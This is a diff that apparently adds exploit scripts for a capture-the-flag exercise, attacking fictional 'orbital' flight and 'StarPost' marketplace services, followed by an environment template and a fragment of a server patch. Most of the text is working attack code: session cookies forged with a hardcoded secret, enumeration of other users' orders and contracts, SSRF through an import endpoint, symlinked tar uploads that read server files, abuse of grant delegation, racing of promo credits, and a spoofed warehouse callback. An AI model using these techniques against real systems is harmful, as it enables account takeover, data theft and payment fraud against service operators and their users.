headers={"Authorization": f"Bearer {token}", "Content-Type": "application/octet-stream"},
|
||||||
|
)
|
||||||
|
if status != 200:
|
||||||
|
raise ExploitError(f"package upload: HTTP {status}")
|
||||||
|
try:
|
||||||
|
document = json.loads(raw)
|
||||||
|
except (TypeError, ValueError) as exc:
|
||||||
|
raise ExploitError("package upload: invalid response") from exc
|
||||||
|
if not document.get("ok"):
|
||||||
|
raise ExploitError("package upload failed")
|
||||||
|
|
||||||
|
|
||||||
|
def exploit_flight_cache(base: str, flight_id: str) -> list[str]:
|
||||||
|
token = register(base)
|
||||||
|
public = rpc(base, "flight_public", token=token, flight_id=flight_id)
|
||||||
|
marker = "orbital-probe-" + hashlib.sha256(flight_id.encode()).hexdigest()
|
||||||
|
own = rpc(
|
||||||
|
base,
|
||||||
|
"create_flight",
|
||||||
|
token=token,
|
||||||
|
geometry=public["geometry"],
|
||||||
|
map_version=public["map_version"],
|
||||||
|
options=public["options"],
|
||||||
|
manifest=marker,
|
||||||
|
navigation=marker,
|
||||||
|
)["flight_id"]
|
||||||
|
report = rpc(base, "report", token=token, flight_id=own)
|
||||||
|
manifest = report.get("manifest") if isinstance(report, dict) else None
|
||||||
|
if isinstance(manifest, str) and manifest != marker:
|
||||||
|
return [manifest]
|
||||||
|
return []
|
||||||
|
|
||||||
|
|
||||||
|
def exploit_flight_navigation(base: str, flight_id: str) -> list[str]:
|
||||||
|
token = register(base)
|
||||||
|
package_id = rpc(base, "create_package", token=token)["package_id"]
|
||||||
|
upload_package(base, package_id, token, regular_tar("report.txt", b"approved"))
|
||||||
|
rpc(base, "approve_package", token=token, package_id=package_id)
|
||||||
|
upload_package(
|
||||||
|
base,
|
||||||
|
package_id,
|
||||||
|
token,
|
||||||
|
symlink_tar("report.txt", f"/data/navigation/{flight_id}.txt"),
|
||||||
|
)
|
||||||
|
generated = rpc(base, "generate_report", token=token, package_id=package_id, attachment="report.txt")
|
||||||
|
navigation = generated.get("report") if isinstance(generated, dict) else None
|
||||||
|
return [navigation] if isinstance(navigation, str) else []
|
||||||
|
|
||||||
|
|
||||||
|
def exploit_summary(base: str, summary_id: str) -> list[str]:
|
||||||
|
path = f"/internal/summaries/{quote(summary_id, safe='')}"
|
||||||
|
status, raw = request(base, path, headers={"X-Importer-Key": IMPORTER_KEY})
|
||||||
|
if status == 200:
|
||||||
|
return [raw.decode("utf-8", errors="replace")]
|
||||||
|
token = register(base)
|
||||||
|
last_error = None
|
||||||
|
for internal_host in ("0.0.0.0", "0", "0000", "0x0"):
|
||||||
|
try:
|
||||||
|
result = rpc(
|
||||||
|
base,
|
||||||
|
"import_bulletin",
|
||||||
|
token=token,
|
||||||
|
url=f"http://{internal_host}:8080{path}",
|
||||||
|
)
|
||||||
|
content = result.get("content") if isinstance(result, dict) else None
|
||||||
|
if isinstance(content, str):
|
||||||
|
return [content]
|
||||||
|
except ExploitError as exc:
|
||||||
|
last_error = exc
|
||||||
|
if last_error:
|
||||||
|
raise last_error
|
||||||
|
return []
|
||||||
|
|
||||||
|
|
||||||
|
def exploit_grant(base: str, flight_ids: list[str], grant_id: str) -> list[str]:
|
||||||
|
token = register(base)
|
||||||
|
child = rpc(
|
||||||
|
base,
|
||||||
|
"delegate",
|
||||||
|
token=token,
|
||||||
|
parent_id=grant_id,
|
||||||
|
rights=["manifest.read"],
|
||||||
|
expires=(1 << 63) - 1,
|
||||||
|
)["grant_id"]
|
||||||
|
for flight_id in flight_ids:
|
||||||
|
try:
|
||||||
|
result = rpc(base, "read_manifest", token=token, flight_id=flight_id, grant_id=child)
|
||||||
|
manifest = result.get("manifest") if isinstance(result, dict) else None
|
||||||
|
if isinstance(manifest, str):
|
||||||
|
return [manifest]
|
||||||
|
except ExploitError:
|
||||||
|
continue
|
||||||
|
return []
|
||||||
|
|
||||||
|
|
||||||
|
def run_exploit(target: str) -> list[str]:
|
||||||
|
base, hint = parse_target(target)
|
||||||
|
identifiers = list(dict.fromkeys(match.group(0).lower() for match in ID_PATTERN.finditer(hint)))
|
||||||
|
if not identifiers:
|
||||||
|
raise ValueError("checker hint with an orbital object id is required")
|
||||||
|
ships = [value for value in identifiers if value.startswith("ship-")][:MAX_OBJECTS]
|
||||||
|
flights = [value for value in identifiers if value.startswith("flight-")][:MAX_OBJECTS]
|
||||||
|
summaries = [value for value in identifiers if value.startswith("summary-")][:MAX_OBJECTS]
|
||||||
|
grants = [value for value in identifiers if value.startswith("grant-")][:MAX_OBJECTS]
|
||||||
|
loot: list[str] = []
|
||||||
|
for ship_id in ships:
|
||||||
|
try:
|
||||||
|
loot.extend(exploit_ship(base, ship_id))
|
||||||
|
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
|
||||||
|
print(f"ship {ship_id}: {exc}", file=sys.stderr)
|
||||||
|
for flight_id in flights:
|
||||||
|
try:
|
||||||
|
loot.extend(exploit_flight_cache(base, flight_id))
|
||||||
|
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
|
||||||
|
print(f"flight cache {flight_id}: {exc}", file=sys.stderr)
|
||||||
|
try:
|
||||||
|
loot.extend(exploit_flight_navigation(base, flight_id))
|
||||||
|
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
|
||||||
|
print(f"flight navigation {flight_id}: {exc}", file=sys.stderr)
|
||||||
|
for summary_id in summaries:
|
||||||
|
try:
|
||||||
|
loot.extend(exploit_summary(base, summary_id))
|
||||||
|
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
|
||||||
|
print(f"summary {summary_id}: {exc}", file=sys.stderr)
|
||||||
|
if flights and grants:
|
||||||
|
for grant_id in grants:
|
||||||
|
try:
|
||||||
|
loot.extend(exploit_grant(base, flights, grant_id))
|
||||||
|
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
|
||||||
|
print(f"grant {grant_id}: {exc}", file=sys.stderr)
|
||||||
|
return list(dict.fromkeys(item for item in loot if item))
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
if len(sys.argv) != 2:
|
||||||
|
print(f"Usage: {sys.argv[0]} HOST#CHECKER_HINT", file=sys.stderr)
|
||||||
|
return 2
|
||||||
|
try:
|
||||||
|
loot = run_exploit(sys.argv[1])
|
||||||
|
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
|
||||||
|
print(f"request failed: {exc}", file=sys.stderr)
|
||||||
|
return 1
|
||||||
|
for item in loot:
|
||||||
|
print(item, flush=True)
|
||||||
|
print(f"collected values: {len(loot)}", file=sys.stderr)
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
raise SystemExit(main())
|
||||||
Executable
+153
@@ -0,0 +1,153 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import base64
|
||||||
|
import concurrent.futures
|
||||||
|
import hashlib
|
||||||
|
import hmac
|
||||||
|
import json
|
||||||
|
import secrets
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
from urllib.error import HTTPError, URLError
|
||||||
|
from urllib.parse import quote, urlsplit, urlunsplit
|
||||||
|
from urllib.request import HTTPRedirectHandler, Request, build_opener
|
||||||
|
|
||||||
|
TARGET_SCHEME = "http"
|
||||||
|
SERVICE_PORT = 8090
|
||||||
|
REQUEST_TIMEOUT = 2.0
|
||||||
|
MAX_RESPONSE = 128 * 1024
|
||||||
|
RECENT_USER_WINDOW = 32
|
||||||
|
MAX_WORKERS = 8
|
||||||
|
SESSION_SECRET = "starpost-development-session-key-change-before-production"
|
||||||
|
|
||||||
|
|
||||||
|
class NoRedirects(HTTPRedirectHandler):
|
||||||
|
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def build_base_url(target: str) -> str:
|
||||||
|
raw = target.strip()
|
||||||
|
if not raw:
|
||||||
|
raise ValueError("empty target")
|
||||||
|
if "://" not in raw:
|
||||||
|
authority = f"[{raw}]" if raw.count(":") > 1 and not raw.startswith("[") else raw
|
||||||
|
raw = f"{TARGET_SCHEME}://{authority}"
|
||||||
|
parsed = urlsplit(raw)
|
||||||
|
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||||
|
raise ValueError("expected an HTTP target")
|
||||||
|
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
||||||
|
raise ValueError("target must not include credentials or a path")
|
||||||
|
if parsed.query or parsed.fragment:
|
||||||
|
raise ValueError("target must not include query or fragment")
|
||||||
|
port = parsed.port or (443 if parsed.scheme == "https" else SERVICE_PORT)
|
||||||
|
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||||
|
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
||||||
|
|
||||||
|
|
||||||
|
def b64(data: bytes) -> bytes:
|
||||||
|
return base64.urlsafe_b64encode(data).rstrip(b"=")
|
||||||
|
|
||||||
|
|
||||||
|
def forge_session(user_id: int, role: str) -> str:
|
||||||
|
payload = json.dumps(
|
||||||
|
{"user_id": user_id, "username": "synthetic", "role": role},
|
||||||
|
separators=(",", ":"),
|
||||||
|
).encode()
|
||||||
|
timestamp = int(time.time())
|
||||||
|
timestamp_bytes = timestamp.to_bytes(max(1, (timestamp.bit_length() + 7) // 8), "big")
|
||||||
|
value = b64(payload) + b"." + b64(timestamp_bytes)
|
||||||
|
derived = hmac.new(SESSION_SECRET.encode(), b"cookie-session", hashlib.sha1).digest()
|
||||||
|
signature = hmac.new(derived, value, hashlib.sha1).digest()
|
||||||
|
return (value + b"." + b64(signature)).decode()
|
||||||
|
|
||||||
|
|
||||||
|
def request(base: str, path: str, method: str = "GET", payload=None, cookie: str | None = None):
|
||||||
|
body = json.dumps(payload).encode() if payload is not None else None
|
||||||
|
headers = {"User-Agent": "starpost-session/1.0", "Accept": "application/json"}
|
||||||
|
if body is not None:
|
||||||
|
headers["Content-Type"] = "application/json"
|
||||||
|
if cookie:
|
||||||
|
headers["Cookie"] = f"session={cookie}"
|
||||||
|
req = Request(base + path, data=body, headers=headers, method=method)
|
||||||
|
opener = build_opener(NoRedirects())
|
||||||
|
try:
|
||||||
|
with opener.open(req, timeout=REQUEST_TIMEOUT) as response:
|
||||||
|
data = response.read(MAX_RESPONSE + 1)
|
||||||
|
if len(data) > MAX_RESPONSE:
|
||||||
|
raise ValueError("response too large")
|
||||||
|
return response.status, data
|
||||||
|
except HTTPError as exc:
|
||||||
|
return exc.code, exc.read(MAX_RESPONSE)
|
||||||
|
|
||||||
|
|
||||||
|
def register_probe(base: str) -> int:
|
||||||
|
marker = secrets.token_hex(8)
|
||||||
|
status, raw = request(
|
||||||
|
base,
|
||||||
|
"/api/register",
|
||||||
|
method="POST",
|
||||||
|
payload={"username": f"probe-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
||||||
|
)
|
||||||
|
if status != 201:
|
||||||
|
raise ValueError(f"registration returned HTTP {status}")
|
||||||
|
return int(json.loads(raw)["id"])
|
||||||
|
|
||||||
|
|
||||||
|
def collect_identity(base: str, user_id: int) -> list[bytes]:
|
||||||
|
probe_cookie = forge_session(user_id, "seller")
|
||||||
|
status, raw = request(base, "/api/me", cookie=probe_cookie)
|
||||||
|
if status != 200:
|
||||||
|
return []
|
||||||
|
try:
|
||||||
|
identity = json.loads(raw)
|
||||||
|
except (TypeError, ValueError):
|
||||||
|
return []
|
||||||
|
if not isinstance(identity, dict) or identity.get("role") not in {"buyer", "seller"}:
|
||||||
|
return []
|
||||||
|
role = identity["role"]
|
||||||
|
cookie = forge_session(user_id, role)
|
||||||
|
paths = ["/api/orders"] if role == "buyer" else [
|
||||||
|
"/api/seller/products",
|
||||||
|
"/api/seller/reviews?limit=100",
|
||||||
|
]
|
||||||
|
contract_file = identity.get("contract_file")
|
||||||
|
if role == "seller" and isinstance(contract_file, str) and contract_file:
|
||||||
|
paths.append("/api/contract?file=" + quote(contract_file, safe=""))
|
||||||
|
output = []
|
||||||
|
for path in paths:
|
||||||
|
status, data = request(base, path, cookie=cookie)
|
||||||
|
if status == 200 and data:
|
||||||
|
output.append(data)
|
||||||
|
return output
|
||||||
|
|
||||||
|
|
||||||
|
def run_exploit(target: str) -> str:
|
||||||
|
base = build_base_url(target)
|
||||||
|
newest = register_probe(base)
|
||||||
|
user_ids = range(max(1, newest - RECENT_USER_WINDOW), newest)
|
||||||
|
chunks: list[bytes] = []
|
||||||
|
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||||
|
for result in pool.map(lambda uid: collect_identity(base, uid), user_ids):
|
||||||
|
chunks.extend(result)
|
||||||
|
print(f"checked {RECENT_USER_WINDOW} recent identities", file=sys.stderr)
|
||||||
|
return b"\n".join(chunks).decode("utf-8", errors="replace")
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
if len(sys.argv) != 2:
|
||||||
|
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
||||||
|
return 2
|
||||||
|
try:
|
||||||
|
output = run_exploit(sys.argv[1])
|
||||||
|
except (HTTPError, URLError, TimeoutError, ValueError, OSError, json.JSONDecodeError) as exc:
|
||||||
|
print(f"request failed: {exc}", file=sys.stderr)
|
||||||
|
return 1
|
||||||
|
print(output, flush=True)
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
raise SystemExit(main())
|
||||||
Executable
+176
@@ -0,0 +1,176 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import concurrent.futures
|
||||||
|
import json
|
||||||
|
import re
|
||||||
|
import secrets
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
from http.cookies import SimpleCookie
|
||||||
|
from urllib.error import HTTPError, URLError
|
||||||
|
from urllib.parse import urlsplit, urlunsplit
|
||||||
|
from urllib.request import HTTPRedirectHandler, Request, build_opener
|
||||||
|
|
||||||
|
|
||||||
|
TARGET_SCHEME = "http"
|
||||||
|
SERVICE_PORT = 8090
|
||||||
|
CONNECT_TIMEOUT = 0.35
|
||||||
|
READ_TIMEOUT = 0.65
|
||||||
|
MAX_RESPONSE = 128 * 1024
|
||||||
|
RECENT_USER_WINDOW = 32
|
||||||
|
MAX_WORKERS = 8
|
||||||
|
MAX_ATTEMPTS = 2
|
||||||
|
RUN_TIMEOUT = 8.5
|
||||||
|
FLAG_PATTERN = re.compile(rb"[A-Z0-9]{31}=")
|
||||||
|
|
||||||
|
|
||||||
|
class NoRedirects(HTTPRedirectHandler):
|
||||||
|
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def build_target(target: str) -> str:
|
||||||
|
raw = target.strip()
|
||||||
|
if not raw:
|
||||||
|
raise ValueError("empty target")
|
||||||
|
if "://" not in raw:
|
||||||
|
authority = f"[{raw}]" if raw.count(":") > 1 and not raw.startswith("[") else raw
|
||||||
|
raw = f"{TARGET_SCHEME}://{authority}"
|
||||||
|
parsed = urlsplit(raw)
|
||||||
|
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||||
|
raise ValueError("expected an HTTP target")
|
||||||
|
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
||||||
|
raise ValueError("target must not include credentials or a path")
|
||||||
|
if parsed.query or parsed.fragment:
|
||||||
|
raise ValueError("target must not include query or fragment")
|
||||||
|
port = parsed.port or (443 if parsed.scheme == "https" else SERVICE_PORT)
|
||||||
|
if not 1 <= port <= 65535:
|
||||||
|
raise ValueError("invalid target port")
|
||||||
|
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||||
|
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
||||||
|
|
||||||
|
|
||||||
|
def request(
|
||||||
|
target: str,
|
||||||
|
method: str,
|
||||||
|
path: str,
|
||||||
|
deadline: float,
|
||||||
|
payload: dict | None = None,
|
||||||
|
cookie: str | None = None,
|
||||||
|
attempts: int = MAX_ATTEMPTS,
|
||||||
|
) -> tuple[int, list[tuple[str, str]], bytes]:
|
||||||
|
body = json.dumps(payload, separators=(",", ":")).encode() if payload is not None else None
|
||||||
|
headers = {"Accept": "application/json", "User-Agent": "neo-starpost-contract/1.0"}
|
||||||
|
if body is not None:
|
||||||
|
headers["Content-Type"] = "application/json"
|
||||||
|
if cookie:
|
||||||
|
headers["Cookie"] = f"session={cookie}"
|
||||||
|
req = Request(target + path, data=body, headers=headers, method=method)
|
||||||
|
opener = build_opener(NoRedirects())
|
||||||
|
last_error: OSError | URLError | None = None
|
||||||
|
for _ in range(attempts):
|
||||||
|
if time.monotonic() >= deadline:
|
||||||
|
break
|
||||||
|
try:
|
||||||
|
with opener.open(req, timeout=CONNECT_TIMEOUT) as response:
|
||||||
|
try:
|
||||||
|
response.fp.raw._sock.settimeout(READ_TIMEOUT)
|
||||||
|
except AttributeError:
|
||||||
|
pass
|
||||||
|
data = response.read(MAX_RESPONSE + 1)
|
||||||
|
if len(data) > MAX_RESPONSE:
|
||||||
|
raise ValueError("response too large")
|
||||||
|
return response.status, list(response.headers.items()), data
|
||||||
|
except HTTPError as exc:
|
||||||
|
data = exc.read(MAX_RESPONSE + 1)
|
||||||
|
if len(data) > MAX_RESPONSE:
|
||||||
|
raise ValueError("response too large")
|
||||||
|
return exc.code, list(exc.headers.items()), data
|
||||||
|
except (OSError, TimeoutError, socket.timeout, URLError) as exc:
|
||||||
|
last_error = exc
|
||||||
|
if last_error is not None:
|
||||||
|
raise last_error
|
||||||
|
raise TimeoutError("run deadline exceeded")
|
||||||
|
|
||||||
|
|
||||||
|
def register(target: str, deadline: float) -> tuple[int, str]:
|
||||||
|
marker = secrets.token_hex(8)
|
||||||
|
status, headers, body = request(
|
||||||
|
target,
|
||||||
|
"POST",
|
||||||
|
"/api/register",
|
||||||
|
deadline,
|
||||||
|
payload={
|
||||||
|
"username": f"neo-{marker}",
|
||||||
|
"password": secrets.token_urlsafe(18),
|
||||||
|
"role": "seller",
|
||||||
|
"company_name": f"neo-{marker}",
|
||||||
|
"tax_id": marker,
|
||||||
|
"signature": "synthetic-probe",
|
||||||
|
},
|
||||||
|
attempts=1,
|
||||||
|
)
|
||||||
|
if status != 201:
|
||||||
|
raise ValueError(f"registration returned HTTP {status}")
|
||||||
|
data = json.loads(body)
|
||||||
|
cookies = SimpleCookie()
|
||||||
|
for name, value in headers:
|
||||||
|
if name.lower() == "set-cookie":
|
||||||
|
cookies.load(value)
|
||||||
|
if "session" not in cookies:
|
||||||
|
raise ValueError("registration did not return a session")
|
||||||
|
return int(data["id"]), cookies["session"].value
|
||||||
|
|
||||||
|
|
||||||
|
def collect_contract(target: str, user_id: int, cookie: str, deadline: float) -> tuple[set[bytes], bool]:
|
||||||
|
try:
|
||||||
|
status, _, body = request(
|
||||||
|
target,
|
||||||
|
"GET",
|
||||||
|
f"/api/contract?file=contract-{user_id}",
|
||||||
|
deadline,
|
||||||
|
cookie=cookie,
|
||||||
|
)
|
||||||
|
except (OSError, TimeoutError, URLError, ValueError):
|
||||||
|
return set(), True
|
||||||
|
return (set(FLAG_PATTERN.findall(body)) if status == 200 else set()), False
|
||||||
|
|
||||||
|
|
||||||
|
def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
|
||||||
|
target = build_target(raw_target)
|
||||||
|
deadline = time.monotonic() + RUN_TIMEOUT
|
||||||
|
newest, cookie = register(target, deadline)
|
||||||
|
user_ids = range(max(1, newest - RECENT_USER_WINDOW), newest)
|
||||||
|
flags: set[bytes] = set()
|
||||||
|
errors = 0
|
||||||
|
checked = 0
|
||||||
|
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||||
|
futures = [pool.submit(collect_contract, target, user_id, cookie, deadline) for user_id in user_ids]
|
||||||
|
for future in concurrent.futures.as_completed(futures):
|
||||||
|
found, failed = future.result()
|
||||||
|
flags.update(found)
|
||||||
|
errors += int(failed)
|
||||||
|
checked += 1
|
||||||
|
return sorted(flag.decode("ascii") for flag in flags), checked, errors
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
if len(sys.argv) != 2:
|
||||||
|
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
||||||
|
return 2
|
||||||
|
try:
|
||||||
|
flags, checked, errors = run_exploit(sys.argv[1])
|
||||||
|
except (OSError, TimeoutError, URLError, ValueError, json.JSONDecodeError) as exc:
|
||||||
|
print(f"request failed: {exc}", file=sys.stderr)
|
||||||
|
return 1
|
||||||
|
print(f"checked={checked} request_errors={errors} flags={len(flags)}", file=sys.stderr)
|
||||||
|
if flags:
|
||||||
|
print("\n".join(flags), flush=True)
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
raise SystemExit(main())
|
||||||
Executable
+182
@@ -0,0 +1,182 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import concurrent.futures
|
||||||
|
import json
|
||||||
|
import math
|
||||||
|
import secrets
|
||||||
|
import sys
|
||||||
|
from http.cookies import SimpleCookie
|
||||||
|
from urllib.error import HTTPError, URLError
|
||||||
|
from urllib.parse import urlsplit, urlunsplit
|
||||||
|
from urllib.request import HTTPRedirectHandler, Request, build_opener
|
||||||
|
|
||||||
|
TARGET_SCHEME = "http"
|
||||||
|
SERVICE_PORT = 8090
|
||||||
|
REQUEST_TIMEOUT = 2.0
|
||||||
|
MAX_RESPONSE = 128 * 1024
|
||||||
|
MAX_PRODUCTS = 8
|
||||||
|
MAX_CREDITS = 100
|
||||||
|
MAX_WORKERS = 8
|
||||||
|
CALLBACK_TOKEN = "starpost-warehouse-callback-token"
|
||||||
|
|
||||||
|
|
||||||
|
class NoRedirects(HTTPRedirectHandler):
|
||||||
|
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def build_base_url(target: str) -> str:
|
||||||
|
raw = target.strip()
|
||||||
|
if not raw:
|
||||||
|
raise ValueError("empty target")
|
||||||
|
if "://" not in raw:
|
||||||
|
authority = f"[{raw}]" if raw.count(":") > 1 and not raw.startswith("[") else raw
|
||||||
|
raw = f"{TARGET_SCHEME}://{authority}"
|
||||||
|
parsed = urlsplit(raw)
|
||||||
|
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||||
|
raise ValueError("expected an HTTP target")
|
||||||
|
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
||||||
|
raise ValueError("target must not include credentials or a path")
|
||||||
|
if parsed.query or parsed.fragment:
|
||||||
|
raise ValueError("target must not include query or fragment")
|
||||||
|
port = parsed.port or (443 if parsed.scheme == "https" else SERVICE_PORT)
|
||||||
|
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||||
|
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
||||||
|
|
||||||
|
|
||||||
|
def request(base: str, path: str, method: str = "GET", payload=None, cookie: str | None = None, warehouse=False):
|
||||||
|
body = json.dumps(payload).encode() if payload is not None else None
|
||||||
|
headers = {"User-Agent": "starpost-warehouse/2.0", "Accept": "application/json"}
|
||||||
|
if body is not None:
|
||||||
|
headers["Content-Type"] = "application/json"
|
||||||
|
if cookie:
|
||||||
|
headers["Cookie"] = f"session={cookie}"
|
||||||
|
if warehouse:
|
||||||
|
headers["X-Warehouse-Token"] = CALLBACK_TOKEN
|
||||||
|
req = Request(base + path, data=body, headers=headers, method=method)
|
||||||
|
opener = build_opener(NoRedirects())
|
||||||
|
try:
|
||||||
|
with opener.open(req, timeout=REQUEST_TIMEOUT) as response:
|
||||||
|
data = response.read(MAX_RESPONSE + 1)
|
||||||
|
if len(data) > MAX_RESPONSE:
|
||||||
|
raise ValueError("response too large")
|
||||||
|
return response.status, data, response.headers
|
||||||
|
except HTTPError as exc:
|
||||||
|
return exc.code, exc.read(MAX_RESPONSE), exc.headers
|
||||||
|
|
||||||
|
|
||||||
|
def register_buyer(base: str) -> str:
|
||||||
|
marker = secrets.token_hex(8)
|
||||||
|
status, _, headers = request(
|
||||||
|
base,
|
||||||
|
"/api/register",
|
||||||
|
method="POST",
|
||||||
|
payload={"username": f"cargo-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
||||||
|
)
|
||||||
|
if status != 201:
|
||||||
|
raise ValueError(f"registration returned HTTP {status}")
|
||||||
|
jar = SimpleCookie()
|
||||||
|
jar.load(headers.get("Set-Cookie", ""))
|
||||||
|
if "session" not in jar:
|
||||||
|
raise ValueError("registration did not issue a session cookie")
|
||||||
|
return jar["session"].value
|
||||||
|
|
||||||
|
|
||||||
|
def credit(base: str, cookie: str, code: str) -> bool:
|
||||||
|
status, _, _ = request(base, "/api/promo/credit", method="POST", payload={"code": code}, cookie=cookie)
|
||||||
|
return status == 200
|
||||||
|
|
||||||
|
|
||||||
|
def buy(base: str, cookie: str, product_id: int):
|
||||||
|
status, raw, _ = request(base, f"/api/products/{product_id}/buy", method="POST", payload={}, cookie=cookie)
|
||||||
|
if status != 201:
|
||||||
|
return None
|
||||||
|
data = json.loads(raw)
|
||||||
|
return int(data["id"])
|
||||||
|
|
||||||
|
|
||||||
|
def deliver(base: str, order_id: int) -> bool:
|
||||||
|
status, _, _ = request(
|
||||||
|
base,
|
||||||
|
"/api/warehouse/callback",
|
||||||
|
method="POST",
|
||||||
|
payload={"order_id": order_id, "job_id": f"ATLAS-{secrets.token_hex(8).upper()}", "stage": "delivered"},
|
||||||
|
warehouse=True,
|
||||||
|
)
|
||||||
|
return status == 200
|
||||||
|
|
||||||
|
|
||||||
|
def run_exploit(target: str) -> str:
|
||||||
|
base = build_base_url(target)
|
||||||
|
cookie = register_buyer(base)
|
||||||
|
status, raw, _ = request(base, "/api/account", cookie=cookie)
|
||||||
|
if status != 200:
|
||||||
|
raise ValueError(f"account endpoint returned HTTP {status}")
|
||||||
|
account = json.loads(raw)
|
||||||
|
promo = account.get("promo") if isinstance(account, dict) else None
|
||||||
|
if not isinstance(promo, dict) or not isinstance(promo.get("code"), str):
|
||||||
|
raise ValueError("promo code missing")
|
||||||
|
|
||||||
|
status, raw, _ = request(base, "/api/products")
|
||||||
|
if status != 200:
|
||||||
|
raise ValueError(f"products endpoint returned HTTP {status}")
|
||||||
|
products = json.loads(raw)
|
||||||
|
selected = []
|
||||||
|
total = 0
|
||||||
|
budget = 100 + MAX_CREDITS * 100
|
||||||
|
for product in products if isinstance(products, list) else []:
|
||||||
|
try:
|
||||||
|
product_id = int(product["id"])
|
||||||
|
price = int(product["price"])
|
||||||
|
except (KeyError, TypeError, ValueError):
|
||||||
|
continue
|
||||||
|
if total + price > budget:
|
||||||
|
continue
|
||||||
|
selected.append(product_id)
|
||||||
|
total += price
|
||||||
|
if len(selected) >= MAX_PRODUCTS:
|
||||||
|
break
|
||||||
|
if not selected:
|
||||||
|
return ""
|
||||||
|
|
||||||
|
required_credits = max(0, math.ceil((total - 100) / 100))
|
||||||
|
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||||
|
credited = sum(pool.map(lambda _: credit(base, cookie, promo["code"]), range(required_credits)))
|
||||||
|
if credited != required_credits:
|
||||||
|
raise ValueError("promo crediting was incomplete")
|
||||||
|
|
||||||
|
order_ids = []
|
||||||
|
for product_id in selected:
|
||||||
|
order_id = buy(base, cookie, product_id)
|
||||||
|
if order_id is not None:
|
||||||
|
order_ids.append(order_id)
|
||||||
|
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||||
|
delivered = sum(pool.map(lambda order_id: deliver(base, order_id), order_ids))
|
||||||
|
|
||||||
|
status, raw, _ = request(base, "/api/orders", cookie=cookie)
|
||||||
|
if status != 200:
|
||||||
|
raise ValueError(f"orders endpoint returned HTTP {status}")
|
||||||
|
print(
|
||||||
|
f"credited {credited} times, bought {len(order_ids)} products, delivered {delivered} orders",
|
||||||
|
file=sys.stderr,
|
||||||
|
)
|
||||||
|
return raw.decode("utf-8", errors="replace")
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
if len(sys.argv) != 2:
|
||||||
|
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
||||||
|
return 2
|
||||||
|
try:
|
||||||
|
output = run_exploit(sys.argv[1])
|
||||||
|
except (HTTPError, URLError, TimeoutError, ValueError, OSError, json.JSONDecodeError) as exc:
|
||||||
|
print(f"request failed: {exc}", file=sys.stderr)
|
||||||
|
return 1
|
||||||
|
print(output, flush=True)
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
raise SystemExit(main())
|
||||||
@@ -0,0 +1,3 @@
|
|||||||
|
STARPOST_DB_PASSWORD=replace-with-url-safe-random-value
|
||||||
|
STARPOST_SECRET_KEY=replace-with-at-least-32-random-bytes
|
||||||
|
STARPOST_WAREHOUSE_CALLBACK_TOKEN=replace-with-at-least-32-random-bytes
|
||||||
+37
-50
@@ -2,12 +2,10 @@ import base64
|
|||||||
import hashlib
|
import hashlib
|
||||||
import hmac
|
import hmac
|
||||||
import json as _json
|
import json as _json
|
||||||
import mimetypes
|
|
||||||
import os
|
import os
|
||||||
import secrets
|
import secrets
|
||||||
from datetime import datetime, timezone
|
from datetime import datetime, timezone
|
||||||
from functools import wraps
|
from functools import wraps
|
||||||
from pathlib import Path
|
|
||||||
|
|
